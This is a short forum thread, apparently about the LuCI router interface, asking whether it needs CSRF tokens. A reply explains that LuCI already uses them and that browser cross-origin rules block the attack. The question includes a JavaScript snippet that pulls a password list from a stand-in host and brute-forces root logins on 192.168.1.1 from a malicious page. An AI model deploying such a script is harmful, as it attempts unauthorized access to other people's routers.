romano
1
Hi
Shouldn't we consider adding CSRF tokens into luci?
What stops attacker to embed script like this on his malicious website?
(http://example.com/pass.txt can be changed to any other file)
async function attemptLogin(password) {
try {
const response = await fetch('http://192.168.1.1/', {
method: 'POST',
headers: {
'Authorization': `Basic ${btoa(`root:${password}`)}`
},
credentials: 'include'
});
return response.ok;
} catch(error) {
return false;
}
}
async function loadPasswords() {
try {
const response = await fetch('http://example.com/pass.txt');
const passwords = await response.text().split('\n').map(p => p.trim());
return passwords.filter(Boolean);
} catch(error) {
return [];
}
}
async function main() {
const passwords = await loadPasswords();
for(const password of passwords) {
if(await attemptLogin(password)) {
alert('Your router seems vulnerable');
break;
}
}
}
main();
LuCI already uses CSRF tokens. Take a look at the page source of the LuCI webpage and you should find a bit of JavaScript that looks like this (pretty-printed and truncated for clarity):
L = new LuCI({
"media": "/luci-static/bootstrap-dark",
"resource": "/luci-static/resources",
"scriptname": "/cgi-bin/luci",
"pathinfo": null,
"documentroot": "/www",
"requestpath": [],
"dispatchpath": [
"admin",
"status",
"overview"
],
"pollinterval": 5,
"ubuspath": "/ubus/",
"sessionid": "d735f8af85ae9f265a7a183010433b66",
"token": "db4f1195f7578d8fd82d1ce48d9df769",
...
The "token" you see in this snippet is the CSRF token. You can see how the server-side handles this in dispatcher.uc and likewise the client-side in luci.js (search for "token" in those source files for the relevant functions).
This is a cross-origin request and will be blocked by the browser unless LuCI responds with an Access-Control-Allow-Origin header that includes the malicious website (which it obviously would not).
3 Likes